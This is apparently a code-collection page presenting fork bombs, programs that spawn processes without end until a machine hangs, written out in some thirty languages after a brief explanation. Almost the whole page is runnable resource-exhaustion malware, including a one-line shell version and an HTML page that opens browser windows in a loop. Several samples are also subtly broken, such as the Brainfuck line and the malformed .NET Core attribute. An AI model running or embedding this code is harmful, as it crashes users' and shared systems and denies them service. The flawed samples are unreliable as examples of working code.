fork-bomb

A fork bomb is a type of malware that can cause a computer to crash by using up all of its available resources. It does this by creating a large number of processes in a short period of time, causing the computer to become overwhelmed and unable to function properly. A fork bomb works by using a programming construct called a fork, which creates a new process from an existing one. The fork bomb creates a process that continually creates new processes, each of which creates new processes, and so on until the computer runs out of resources and becomes unresponsive.

forkbomb.java
==============
public class forkbomb
{
   public static void main(String[] args)
   {
     Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "forkbomb"});
   }
}
forkbomb.adb
============

with POSIX.Process_Identification,
     POSIX.Unsafe_Process_Primitives;
procedure Forkbomb is
   unused : POSIX.Process_Identification.Process_ID;
begin
  unused := POSIX.Unsafe_Process_Primitives.Fork;
  Forkbomb;
end Forkbomb;
Fork-bomb.vbs
=============

While True CreateObject("WScript.Shell").Exec("wscript.exe " & Wscript.ScriptName) Wend
fork-bomb.sh
============

#!/bin/sh
:(){ :|: & };:

fork-bomb.scm
==============

(letrec ((x (lambda () (begin (fork-thread x) (x))))) (x))
fork-bomb.s
===========

section .text
   global _start

_start:
    mov eax,2
    int 0x80
    jmp _start
fork-bomb.rs
============

// bomb.rs
// Chad Sharp

#[allow(unconditional_recursion)]
fn main() {
    std::thread::spawn(main);
    main();
}
fork-bomb.rb
============

loop { fork { load(__FILE__) } }
fork-bomb.r
===========

library(multicore)

while (TRUE) fork()
fork-bomb.py
============

import os
while 1:
        os.fork()
fork-bomb.pl
============

fork while fork
fork-bomb.php
=============

<? while(pcntl_fork()|1); ?>
fork-bomb.mdb
=============

BEGIN
DECLARE @GUID UNIQUEIDENTIFIER = NEWID();
EXEC msdb.dbo.sp_add_job @job_name = @GUID;
EXEC msdb.dbo.sp_add_jobstep @job_name = @GUID, @step_id = 1, @step_name = 'Uno', @command = 'WHILE 1 = 1 EXEC ##ForkBomb;', @database_name = 'msdb';
EXEC msdb.dbo.sp_add_jobserver @job_name = @GUID;
EXEC msdb.dbo.sp_start_job @job_name = @GUID;
END
fork-bomb.lua
==============

require("posix")
while true do posix.fork() end
fork-bomb.lsp
=============

(loop (#_fork))
fork-bomb.js
============

(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());
fork-bomb.html
==============

<html>
 <body>
  <script>
   setInterval(function() {
   var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
   }, 10);
  </script>
 </body>
</html>
fork-bomb.hs
=============

import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb
fork-bomb.go
============

package main

func main() {
        for {
             go main()
        }
}
fork-bomb.fasm
==============

format PE GUI 4.0
entry start
section '.text' code readable executable
start:
pushd 1000
pushd path
pushd 0
call [GetModuleFileName]
@@:
pushd 1
pushd 0
pushd 0
pushd path
pushd command
pushd 0
call [ShellExecute]
jmp @b
section '.data' data readable writeable
path rb 1000
command db "open"
section '.idata' import data readable writeable
dd 0,0,0,RVA kernel32id,RVA kernel32
dd 0,0,0,RVA shell32id,RVA shell32
kernel32:
GetModuleFileName dd RVA _GetModuleFileName
dd 0
shell32:
ShellExecute dd RVA _ShellExecute
dd 0
kernel32id db 'kernel32.dll',0
shell32id db 'shell32.dll',0
_GetModuleFileName dw 0
db 'GetModuleFileNameA',0
_ShellExecute dw 0
db 'ShellExecuteA',0
section '.reloc' fixups data readable discardable
fork-bomb.cs
============

using System;

namespace forkbomb
{
  class Program
  {
   static void Main(string[] args)
    {
  System.Diagnostics.Process.Start(System.Reflection.Assembly.GetEntryAssembly().Location);
System.Diagnostics.Process.Start(System.Reflection.Assembly.GetEntryAssembly().Location);
while (true)
    {
Console.ReadKey();
    }
  }
 }
}
fork-bomb.cc
============

#include <cstdlib>

int main(int argc, char **argv)
{
  while (1) system(argv[0]);
  return 0;
}
fork-bomb.c
===========

#include <unistd.h>

int main()
{
   while(1) fork();
}
fork-bomb.bf
============

+[>+]
fork-bomb.bash
==============

#!/bin/bash
./$0|./$0& # $0 is the name of the shell script itself
fork-bomb.awk
=============

@load "fork";BEGIN{while(1)fork()}
fork-bomb-netcore.cs
====================

using System.Runtime.InteropServices;

namespace Fork
{
 class Fork
 {
  DllImport("libc.so.6")]
  public static extern long fork();

  static void Main(string[] args)
  {
   while (true) 
   {
    fork();
    }
  }
 }
}

Comments